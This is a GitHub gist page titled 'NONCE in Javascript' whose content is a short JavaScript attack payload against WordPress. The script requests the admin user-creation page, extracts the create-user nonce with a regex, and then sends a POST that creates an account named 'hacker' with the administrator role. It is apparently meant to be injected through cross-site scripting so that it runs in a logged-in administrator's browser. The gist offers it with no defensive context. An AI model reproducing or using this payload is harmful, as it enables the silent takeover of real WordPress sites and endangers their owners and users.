Skip to content

Instantly share code, notes, and snippets.

@c0d3x27
Last active January 13, 2025 23:57
Show Gist options
  • Save c0d3x27/93ec216cbd99f479c644843bc665b0ef to your computer and use it in GitHub Desktop.
Save c0d3x27/93ec216cbd99f479c644843bc665b0ef to your computer and use it in GitHub Desktop.
NONCE in Javascript
// Step 1: Extract nonce via GET request
let ajaxRequest = new XMLHttpRequest();
const requestURL = "/wp-admin/user-new.php";
const nonceRegex = /ser" value="([^"]*?)"/g;
ajaxRequest.open("GET", requestURL, false); // Synchronous GET request
ajaxRequest.send();
const nonceMatch = nonceRegex.exec(ajaxRequest.responseText);
const nonce = nonceMatch[1];
// Step 2: Use nonce to send POST request
const params = "action=createuser&_wpnonce_create-user=" + nonce +
"&user_login=hacker&[email protected]" +
"&pass1=hackerpass&pass2=hackerpass&role=administrator";
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", requestURL, true); // Asynchronous POST request
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(params);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment